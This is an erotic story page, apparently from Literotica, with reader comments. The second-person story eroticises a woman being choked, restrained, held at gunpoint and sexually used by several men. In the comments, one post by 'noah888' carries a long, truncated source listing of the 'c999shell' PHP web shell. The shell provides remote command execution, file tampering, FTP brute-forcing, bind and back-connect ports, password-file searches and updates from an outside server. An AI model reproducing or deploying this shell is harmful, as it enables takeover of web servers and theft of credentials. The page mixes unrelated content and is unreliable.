A Girl's First Submission

Story Info
A night of passion awakens your need to submit.
3.1k words
4.01
78.4k
14
Story does not have any tags
Share this Story

Font Size

Default Font Size

Font Spacing

Default Font Spacing

Font Face

Default Font Face

Reading Theme

Default Theme (White)
You need to Log In or Sign Up to have your customization saved in your Literotica profile.
PUBLIC BETA

Note: You can change font size, font face, and turn on dark mode by clicking the "A" icon tab in the Story Info Box.

You can temporarily switch back to a Classic Literotica® experience during our ongoing public Beta testing. Please consider leaving feedback on issues you experience or suggest improvements.

Click here

Walking outside of work you bask in the rarely seen sunshine and decide to go out and have fun for this one night knowing you may be back here anytime. Getting dressed up in white lace stockings, matching garter and little white thong panties with a snap for quick release (you smile to yourself thinking of the possibilities). You continue preparations slipping your bra on and quickly admiring how good you look so far your ample tits pushing up from the bra bound to make so stud very horny tonight you hope. Slipping on a little leather miniskirt and a low cut blue blouse you try and decide which place to frequent this evening. Certain places never fail to land you some hunk with a big cock for the night but you may also be in the mood for a little pussy tonight too. Applying light red lipstick and fixing your hair which for this week is at least raven colored making you look stunning.

Upon entering the nightclub you look around giving a cursory glance about the room seeing if any man immediately becomes tonights target for you. Heading to the bar you get a beer and decide to make your way around the place and see if you haven't missed some choice meat tonight. Dance floor .NO . The bar and sitting area produce the same results nothing yet...You decide to go back and look one other place before hitting the next nightclub next door. Slipping into the back you see a group of guys playing pool and being loud and obnoxious. But one catches your eye. A little shorter than you like but his ass looks great to you as you watch him shoot and sink the eight ball across the pool table. One of the guys mentions something to him and he turns around and glances at you. Damn that face and those eyes the whole thing feel familiar to you about his appearance. As you quickly smile at him he turns back to his friends ignoring you. You wonder what the hell that was about as you are used to being treated like a princess and having guys drooling over you.

You decide to just say fuck this and turn to go get one more beer maybe someone else has entered by now. As you slide up to the bar. The guy from the pool table is slipping beside you and orders two beers. Same thing you are drinking and your infuriated first the bartender ignored you and got this jerks drink and then he didn't even bother to pretend to notice you.

Little do you know he is noticing you smelling your hair as he leaned over you accidentally brushing up against you to get to the bar. Noticing the beer in your hand and its brand.. As he pays for the drinks he wraps one arm around your shoulder. More in a leisurely way as if you were old friends and then he starts to put the beer in your hand. Moving your hair to the side says, "I did notice you back there Mon petite une fille." You cant help but turn and smile to him. Would you care to dance pretty girl or are you just going to stay here at the bar? He leads you to the dance floor and can move pretty good you think to yourself. Graceful catlike almost. Sliding keeping in time and never stepping on your feet. Ok almost never. Finally they slow the music down and he pulls you close and starts to run his hands over your back. "Some friends, and I are going back to My place in a bit and I would love for you to come." It doesn't take you long to smile and give your consent you figure if nothing else you are going to get fucked good before the end of the night by the bulge you feel against you.

You go outside with him and his friends three other guys and two girls and get in his vehicle. He opens the door for you and holds your hand as you get in before closing it and getting himself in. Upon arriving at the loft which nearly encompasses a city block you realize he either has money or power. You smile to yourself thinking this is getting better maybe he has a kinky streak to. As you enter the loft. the lights flick on illuminating a well kept but fairly bare living space. the others kind of fan out making themselves at home as you follow him down a hallway He opens the door and lets you enter before him. As you pass him his arms go around your body one to your neck his elbow to your throat squeezing and his other to your panties ripping them away with the snap easily opening. He gives a loud whistle and the two bigger guys you saw with him enter and grab your feet. You cannot talk as your struggling just to breathe. Hey man you found a real looker tonight are we all getting a shot at her he asks the Man whom still has his elbow locked around your throat. Perhaps later Mark he says and your body tingles as your quick mind realizes that reference. You struggle but not as hard as you would. They place your arms above you locking them into wrist restraints above your head....opening your blouse and cutting away your bra.......your ankles are grabbed and pulled apart after your skirt is removed. You are very near a window looking out over the city naked surely someone can see you from the apartments in the next building or perhaps the street who knows. The man shackles your ankles to the eyelet in the floor and the two other men leave.......You hear the first crack of the whip before for it deliciously stings your ass

Ohhhhh, you cry out, you feel the sting and love it but you don't want this man to know it. Three more well placed hits and your pussy is already dripping and you want to submit to him. The cracking and stinging has stopped for the moment and only the welts on your ass burning right now remind you that it even happened. You see the mans reflection on the mirror as you look up wondering where he is and notice he is right behind you. His arms comes over your head putting a ball gag in place and then he reaches between your legs parting your sex. His hands big and rough, not showing any sign of tenderness spread your wet little pussy lips as he rests his thumb on your clit and starts to stroke inside you with two fingers. You feel him kneel down behind you and he bites your ass, then slowly starts to lick the welts as he continues to finger your tight center. Coming back up your body cupping your big tits with one hand and rubbing and pulling at the nipples with his fingers.

He lowers his voice and speaks slowly with commanding influence almost hypnotic into your ear. My pet My sweet sexy little pet..you are about to be driven past all senses of pleasure you have known in your life thus far. You will learn to do My will and follow every command tonight and you'll see that in the morning as you are released from this place that you will not wish to leave it or Me. You will remain of your own free will as My slut , whore and princess. I offer all to you if you only succumb. Your pussy betrays you lil one. Although you may act like this is torture your soaked here...he gives pause as he introduces another finger into your pussy.

Your mind racing as he removes his fingers and lifts the gag from your mouth and rubs his fingers across your lips. Dipping them inside and waiting to see your reaction. You know your own juices are coating your lips and his fingers but truly love that this man does not care if you are against it or not. You suck his fingers gently before the bitch side of your mind takes over and you bite down hard. Drawing blood you taste the metallic fluid mixed with your own fluids flow across your tongue. "Bitch"! He cries out slapping your little face and grabbing your hair pulling your head back. Reaching behind him he removes a gun from his backside and puts it to your temple, "Do not think you can get away with that slut." Stepping to the side trailing the gun down your body, the hard cold steel and sting of the slap give you little goose bumps. Damn you think I cannot be getting turned on at this I must remain strong.

He walks to the table next to the wall and picks up three clamps all linked to one long chain. Your eyes go wide as you wonder just what is in store for you. He still has not moved in front of you as of yet and you don't know the cold eyes that lie in his sockets staring at you. He lowers his head and kneels in front of you spreading your lips with two fingers and putting one clamp over your clit, rising just enough he secures the other two to your hardened nipples. He tugs the chain once good and hard. Damn that feels good you think. Rough but so good. Hooking the chain to an eyelet above you on the wall, you realize that ever move your body makes will draw the chain taunt and tug at your nipples and clit.

He returns to the table grabbing his whip and lashes it through the air with precise accuracy as it stings your ass. Letting it snake through the air over and over only to let it crack and sting gloriously into your flesh. Cry out whore. Beg for mercy. Not that it will come to you tonight. He still has more plans for you as he calls out to the other men to come back into the room. The two step towards you and you see their nakedness hard and throbbing cocks bobbing before you. Your arms are unbound from the wall but remain restrained together. Your ankles remain in the shackles and in place to the floor. What now you wonder. Seeing the naked hard cocks in front of you only adds to the dew between your legs... "Master what shall we do with your slut now?" the big black man asks as they remain in front of you one of them playing with your chain tugging and letting it go, faster and faster bringing you to the edge of climax.

Secure the little cunts hands to the floor. Secure each wrist to the ankle eyelet and leave her bent over so her little wholes gape at us. My god you think this cannot be happening. as you are secured the chain is pulled hard your nipples ache as if they were about to come off. your clit throbbing under the pressure and your pussy soaked beyond your belief. You look between your legs in this awkward position and see the "Master" behind you removing his clothes...He hands each of the two men beside him a paddle.. Lay into the little whore boys and see if she can remain in position. They stand one to each side of you and as soon as the first paddle hits the second follows directly behind it. The Master standing back now has set a little camera tripod up and is turning the camera on. Your image is projected to the big wall screened TV in the back of the room.. You see yourself as He must. Your pussy lips parted , the camera is zoomed in enough to see the glistening drops of your passion seeping out of you. You see the puckered tight asshole of yours onscreen and the paddles blurring the view every few seconds until one pulls away and you see just how red your ass has become. Swollen, red, tender, yet mercifully sensitive and you wish you could get just a little more stimulation to cum.

Finally after a few minutes. The Master seems satisfied and calls halt. Stand the slut up and remove her gag. Keep her legs locked we don't want her kicking. The men drop to one knee on each side of you and free your hands, The gag is removed and they await the next command Boys you may leave for now post outside the door and await next...go get one of the other sluts we brought home to. See if she has been prepared to service tonight. He walks in front of you and sinks down on one knee cupping your chin...I told you this could be easy or hard you lil fucktoy. Now submit and enjoy or we can continue this all night. which shall it be. Your own resolve weakening now..you ache to cum ...can think of nothing else at the moment. On one hand if the beating commence again you will feel the pleasure but not the release, on the other hand if you submit perhaps this man will allow you to cum and make you see his way about things.

I submit Master you say through clenched teeth. As you utter the last syllable your mouth is touched by His cock. Open your mouth and suck My cock...be a good little mouthslut and please Me and you may know release tonight. The idea of sucking this man's cock was something you were more than willingly do earlier tonight but now feeling used and command makes it all the more excellent when you slip your tongue out to lick the tip tasting the precum already coming to view. He sighs and pushes forward entering your mouth as you bob your head. Realizing you can use your hands also though difficult you bring them up and cup his cock in one hand and his balls in the other. As your head slides up you follow with your hands. Little did He know you were a natural born cocksucker. Your lips were made to wrap around a hard shaft. He lets you control the rhythm as you bob you feel his hand on your head and he pushes your head to the base of his cock gagging you.

Take it all My little cocksucker....thats what you little bitches are for anyway is sucking My mighty cock. He fucks your mouth deep as you suck and slurp...Giving perhaps the loudest sloppiest blowjob ever. You feel His balls in your hand swell up and he pulls back. Just out of your reach. "what is it you want slut?" . SO many thoughts fill your mind...you blurt out the first that makes its way to your tongue...To serve you my Master..to be fucked by you and to wear your cum..

He smiles and walks behind you grabbing your hips and the chain as it dangles he pushes his cock deep in your cunt without hesitation. Balls deep into your pussy he fucks you hard and yanks the chain do not cum until I say you nasty little cumguzzling whore. The chain pulled tight now constantly as you push back against him as you can...your ass bouncing off his thighs as He thrusts ever deeper into your tiny little cunt. His hand wraps in your hair and tugs it hard as using it like reigns.

One well placed hand on your ass as He smacks you and fucks your pussy hard. Whose are you slut? You don't wish to reply so you hesitate...SMACK! your ass which had still been on fire stings even more your pussy convulses with each smack as you feel your cunt stretched around his cock. The pain igniting your passion even more. You suddenly feel something cold hard and wet pushed against your asshole. With a little force, He jams a dildo deep into your ass. Boys now he says...The men rush back into the room and drag behind them the hot little blond you saw earlier.

The Master withdraws from you and you feel the way your pussy gapes open . you can feel the convulsing it is doing as if it is still clamped around His cock. Undo her legs and one of you lie on the floor he says... The men do as told and the man with the bigger of the two cocks the one you think he called Mark before sits down on the floor and lies back. His cock jutting straight up. The other of the two positions you over the man and he grabs his cock and pushes it up just inside your ass. The other man brings the girl in and they force you to lie back. The man beneath you is thrusting his hips up driving that big black python into your ass stretching you. The girl is told to climb over you and she does planting her pussy in your face...obviously not her first time here....The master comes forward and slides his cock into your pussy again. You can feel the two cocks stuffing you meeting somewhere in the middle rubbing together against your innerwalls. The girl is pushing her face into your pussy and sucking your clit and licking the Masters cock as he pounds you. Suddenly the Master tells you to eat her cunt you lil heathenish cumslut. Lick her nasty pussy and suck out the cum already there. The third man waits until the Master gives the go ahead and then pushes his cock into the girl above you's ass.

One mass of hot sweaty fucking flesh is all you can think about with the pussy over your mouth. Two hard cocks buried in you making you feel like a little wanton whore. The same way your Master said you would be you have become...Loving this.

To end this for now I go to the morning......You awaken with the Master behind you his hand firmly locked around you and His hard cock between you butt cheeks. Throbbing with need. You lift His arms and slide down and take his cock in your Mouth. You feel Him stir and look down to you. You open your eyes wide and smile around his cock to Him as you sink your fingers into your own cunt your other hand pushing up to Him and handing Him the chain which is still upon your body...Good Morning My pet....

Please rate this story
The author would appreciate your feedback.
  • COMMENTS
Anonymous
Our Comments Policy is available in the Lit FAQ
Post as:
Anonymous
7 Comments
AnonymousAnonymousabout 2 years ago

great story. waiting for the next chapter

AnonymousAnonymousover 9 years ago
Enjoyed it

I thoroughly enjoyed the story and I intend to read several more of yours, but I was distracted by the grammar mistakes. This story needs a lot of editing.

noah888noah888over 9 years ago
nice

<?php

//Starting calls

if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}

error_reporting(5);

@ignore_user_abort(TRUE);

@set_magic_quotes_runtime(0);

$win = strtolower(substr(PHP_OS,0,3)) == "win";

define("starttime",getmicrotime());

if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}

$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);

foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}

$shver = "1.0 pre-release build #16"; //Current version

//CONFIGURATION AND SETTINGS

if (!empty($unset_surl)) {setcookie("c999sh_surl"); $surl = "";}

elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c999sh_surl",$surl);}

else {$surl = $_REQUEST["c999sh_surl"]; //Set this cookie for manual SURL

}

$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.

if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}

if (empty($surl))

{

$surl = "?".$includestr; //Self url

}

$surl = htmlspecialchars($surl);

$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.

//Authentication

$login = ""; //login

//DON'T FORGOT ABOUT PASSWORD!!!

$pass = ""; //password

$md5_pass = ""; //md5-cryped pass. if null, md5($pass)

$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")

$login_txt = "Restricted area"; //http-auth message.

$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c999shell\">c999shell v.".$shver."</a>: access denied";

$gzipencode = TRUE; //Encode with gzip?

$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)

$c999sh_updateurl = "http://ccteam.ru/update/c999shell/"; //Update server

$c999sh_sourcesurl = "http://ccteam.ru/files/c999sh_sources/"; //Sources-server

$filestealth = TRUE; //if TRUE, don't change modify- and access-time

$donated_html = "<center><b>Owned by hacker</b></center>";

/* If you publish free shell and you wish

add link to your site or any other information,

put here your html. */

$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.

$curdir = "./"; //start folder

//$curdir = getenv("DOCUMENT_ROOT");

$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)

$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)

$log_email = "user@host.tld"; //Default e-mail for sending logs

$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending

$sort_save = TRUE; //If TRUE then save sorting-position using cookies.

// Registered file-types.

// array(

// "{action1}"=>array("ext1","ext2","ext3",...),

// "{action2}"=>array("ext4","ext5","ext6",...),

// ...

// )

$ftypes = array(

"html"=>array("html","htm","shtml"),

"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),

"exe"=>array("sh","install","bat","cmd"),

"ini"=>array("ini","inf"),

"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),

"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),

"sdb"=>array("sdb"),

"phpsess"=>array("sess"),

"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")

);

// Registered executable file-types.

// array(

// string "command{i}"=>array("ext1","ext2","ext3",...),

// ...

// )

// {command}: %f% = filename

$exeftypes = array(

getenv("PHPRC")." -q %f%" => array("php","php3","php4"),

"perl %f%" => array("pl","cgi")

);

/* Highlighted files.

array(

i=>array({regexp},{type},{opentag},{closetag},{break})

...

)

string {regexp} - regular exp.

int {type}:

0 - files and folders (as default),

1 - files only, 2 - folders only

string {opentag} - open html-tag, e.g. "<b>" (default)

string {closetag} - close html-tag, e.g. "</b>" (default)

bool {break} - if TRUE and found match then break

*/

$regxp_highlight = array(

array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example

array("config.php",1) // example

);

$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.

// array (i=>{letter} ...); string {letter} - letter of a drive

//$safemode_diskettes = range("a","z");

$hexdump_lines = 8;// lines in hex preview file

$hexdump_rows = 24;// 16, 24 or 32 bytes in one line

$nixpwdperpage = 100; // Get first N lines from /etc/passwd

$bindport_pass = "c999"; // default password for binding

$bindport_port = "31373"; // default port for binding

$bc_port = "31373"; // default port for back-connect

$datapipe_localport = "8081"; // default port for datapipe

// Command-aliases

if (!$win)

{

$cmdaliases = array(

array("-----------------------------------------------------------", "ls -la"),

array("find all suid files", "find / -type f -perm -04000 -ls"),

array("find suid files in current dir", "find . -type f -perm -04000 -ls"),

array("find all sgid files", "find / -type f -perm -02000 -ls"),

array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),

array("find config.inc.php files", "find / -type f -name config.inc.php"),

array("find config* files", "find / -type f -name \"config*\""),

array("find config* files in current dir", "find . -type f -name \"config*\""),

array("find all writable folders and files", "find / -perm -2 -ls"),

array("find all writable folders and files in current dir", "find . -perm -2 -ls"),

array("find all service.pwd files", "find / -type f -name service.pwd"),

array("find service.pwd files in current dir", "find . -type f -name service.pwd"),

array("find all .htpasswd files", "find / -type f -name .htpasswd"),

array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),

array("find all .bash_history files", "find / -type f -name .bash_history"),

array("find .bash_history files in current dir", "find . -type f -name .bash_history"),

array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),

array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),

array("list file attributes on a Linux second extended file system", "lsattr -va"),

array("show opened ports", "netstat -an | grep -i listen")

);

}

else

{

$cmdaliases = array(

array("-----------------------------------------------------------", "dir"),

array("show opened ports", "netstat -an")

);

}

$sess_cookie = "c999shvars"; // Cookie-variable name

$usefsbuff = TRUE; //Buffer-function

$copy_unset = FALSE; //Remove copied files from buffer after pasting

//Quick launch

$quicklaunch = array(

array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),

array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),

array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),

array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),

array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),

array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),

array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),

array("<b>Encoder</b>",$surl."act=encoder&d=%d"),

array("<b>Tools</b>",$surl."act=tools&d=%d"),

array("<b>Proc.</b>",$surl."act=processes&d=%d"),

array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),

array("<b>Sec.</b>",$surl."act=security&d=%d"),

array("<b>SQL</b>",$surl."act=sql&d=%d"),

array("<b>PHP-code</b>",$surl."act=eval&d=%d"),

array("<b>Update</b>",$surl."act=update&d=%d"),

array("<b>Feedback</b>",$surl."act=feedback&d=%d"),

array("<b>Self remove</b>",$surl."act=selfremove"),

array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")

);

//Highlight-code colors

$highlight_background = "#c0c0c0";

$highlight_bg = "#FFFFFF";

$highlight_comment = "#6A6A6A";

$highlight_default = "#0000BB";

$highlight_html = "#1300FF";

$highlight_keyword = "#007700";

$highlight_string = "#000000";

@$f = $_REQUEST["f"];

@extract($_REQUEST["c999shcook"]);

//END CONFIGURATION

// \/Next code isn't for editing\/

@set_time_limit(0);

$tmp = array();

foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}

$s = "!^(".implode("|",$tmp).")$!i";

if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc999shell\">c999shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}

if (!empty($login))

{

if (empty($md5_pass)) {$md5_pass = md5($pass);}

if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))

{

if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}

header("WWW-Authenticate: Basic realm=\"c999shell ".$shver.": ".$login_txt."\"");

header("HTTP/1.0 401 Unauthorized");

exit($accessdeniedmess);

}

}

if ($act != "img")

{

$lastdir = realpath(".");

chdir($curdir);

if ($selfwrite or $updatenow) {@ob_clean(); c999sh_getupdate($selfwrite,1); exit;}

$sess_data = unserialize($_COOKIE["$sess_cookie"]);

if (!is_array($sess_data)) {$sess_data = array();}

if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}

if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}

$disablefunc = @ini_get("disable_functions");

if (!empty($disablefunc))

{

$disablefunc = str_replace(" ","",$disablefunc);

$disablefunc = explode(",",$disablefunc);

}

if (!function_exists("c999_buff_prepare"))

{

function c999_buff_prepare()

{

global $sess_data;

global $act;

foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}

foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}

$sess_data["copy"] = array_unique($sess_data["copy"]);

$sess_data["cut"] = array_unique($sess_data["cut"]);

sort($sess_data["copy"]);

sort($sess_data["cut"]);

if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}

else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}

}

}

c999_buff_prepare();

if (!function_exists("c999_sess_put"))

{

function c999_sess_put($data)

{

global $sess_cookie;

global $sess_data;

c999_buff_prepare();

$sess_data = $data;

$data = serialize($data);

setcookie($sess_cookie,$data);

}

}

foreach (array("sort","sql_sort") as $v)

{

if (!empty($_GET[$v])) {$$v = $_GET[$v];}

if (!empty($_POST[$v])) {$$v = $_POST[$v];}

}

if ($sort_save)

{

if (!empty($sort)) {setcookie("sort",$sort);}

if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}

}

if (!function_exists("str2mini"))

{

function str2mini($content,$len)

{

if (strlen($content) > $len)

{

$len = ceil($len/2) - 2;

return substr($content, 0,$len)."...".substr($content,-$len);

}

else {return $content;}

}

}

if (!function_exists("view_size"))

{

function view_size($size)

{

if (!is_numeric($size)) {return FALSE;}

else

{

if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}

elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}

elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}

else {$size = $size . " B";}

return $size;

}

}

}

if (!function_exists("fs_copy_dir"))

{

function fs_copy_dir($d,$t)

{

$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);

if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}

$h = opendir($d);

while (($o = readdir($h)) !== FALSE)

{

if (($o != ".") and ($o != ".."))

{

if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}

else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}

if (!$ret) {return $ret;}

}

}

closedir($h);

return TRUE;

}

}

if (!function_exists("fs_copy_obj"))

{

function fs_copy_obj($d,$t)

{

$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);

$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);

if (!is_dir(dirname($t))) {mkdir(dirname($t));}

if (is_dir($d))

{

if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}

if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}

return fs_copy_dir($d,$t);

}

elseif (is_file($d)) {return copy($d,$t);}

else {return FALSE;}

}

}

if (!function_exists("fs_move_dir"))

{

function fs_move_dir($d,$t)

{

$h = opendir($d);

if (!is_dir($t)) {mkdir($t);}

while (($o = readdir($h)) !== FALSE)

{

if (($o != ".") and ($o != ".."))

{

$ret = TRUE;

if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}

else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}

if (!$ret) {return $ret;}

}

}

closedir($h);

return TRUE;

}

}

if (!function_exists("fs_move_obj"))

{

function fs_move_obj($d,$t)

{

$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);

$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);

if (is_dir($d))

{

if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}

if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}

return fs_move_dir($d,$t);

}

elseif (is_file($d))

{

if(copy($d,$t)) {return unlink($d);}

else {unlink($t); return FALSE;}

}

else {return FALSE;}

}

}

if (!function_exists("fs_rmdir"))

{

function fs_rmdir($d)

{

$h = opendir($d);

while (($o = readdir($h)) !== FALSE)

{

if (($o != ".") and ($o != ".."))

{

if (!is_dir($d.$o)) {unlink($d.$o);}

else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}

}

}

closedir($h);

rmdir($d);

return !is_dir($d);

}

}

if (!function_exists("fs_rmobj"))

{

function fs_rmobj($o)

{

$o = str_replace("\\",DIRECTORY_SEPARATOR,$o);

if (is_dir($o))

{

if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}

return fs_rmdir($o);

}

elseif (is_file($o)) {return unlink($o);}

else {return FALSE;}

}

}

if (!function_exists("myshellexec"))

{

function myshellexec($cmd)

{

global $disablefunc;

$result = "";

if (!empty($cmd))

{

if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}

elseif (($result = `$cmd`) !== FALSE) {}

elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}

elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}

elseif (is_resource($fp = popen($cmd,"r")))

{

$result = "";

while(!feof($fp)) {$result .= fread($fp,1024);}

pclose($fp);

}

}

return $result;

}

}

if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}

if (!function_exists("view_perms"))

{

function view_perms($mode)

{

if (($mode & 0xC000) === 0xC000) {$type = "s";}

elseif (($mode & 0x4000) === 0x4000) {$type = "d";}

elseif (($mode & 0xA000) === 0xA000) {$type = "l";}

elseif (($mode & 0x8000) === 0x8000) {$type = "-";}

elseif (($mode & 0x6000) === 0x6000) {$type = "b";}

elseif (($mode & 0x2000) === 0x2000) {$type = "c";}

elseif (($mode & 0x1000) === 0x1000) {$type = "p";}

else {$type = "?";}

$owner["read"] = ($mode & 00400)?"r":"-";

$owner["write"] = ($mode & 00200)?"w":"-";

$owner["execute"] = ($mode & 00100)?"x":"-";

$group["read"] = ($mode & 00040)?"r":"-";

$group["write"] = ($mode & 00020)?"w":"-";

$group["execute"] = ($mode & 00010)?"x":"-";

$world["read"] = ($mode & 00004)?"r":"-";

$world["write"] = ($mode & 00002)? "w":"-";

$world["execute"] = ($mode & 00001)?"x":"-";

if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}

if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}

if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}

return $type.join("",$owner).join("",$group).join("",$world);

}

}

if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}

if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}

if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}

if (!function_exists("parse_perms"))

{

function parse_perms($mode)

{

if (($mode & 0xC000) === 0xC000) {$t = "s";}

elseif (($mode & 0x4000) === 0x4000) {$t = "d";}

elseif (($mode & 0xA000) === 0xA000) {$t = "l";}

elseif (($mode & 0x8000) === 0x8000) {$t = "-";}

elseif (($mode & 0x6000) === 0x6000) {$t = "b";}

elseif (($mode & 0x2000) === 0x2000) {$t = "c";}

elseif (($mode & 0x1000) === 0x1000) {$t = "p";}

else {$t = "?";}

$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;

$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;

$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;

return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);

}

}

if (!function_exists("parsesort"))

{

function parsesort($sort)

{

$one = intval($sort);

$second = substr($sort,-1);

if ($second != "d") {$second = "a";}

return array($one,$second);

}

}

if (!function_exists("view_perms_color"))

{

function view_perms_color($o)

{

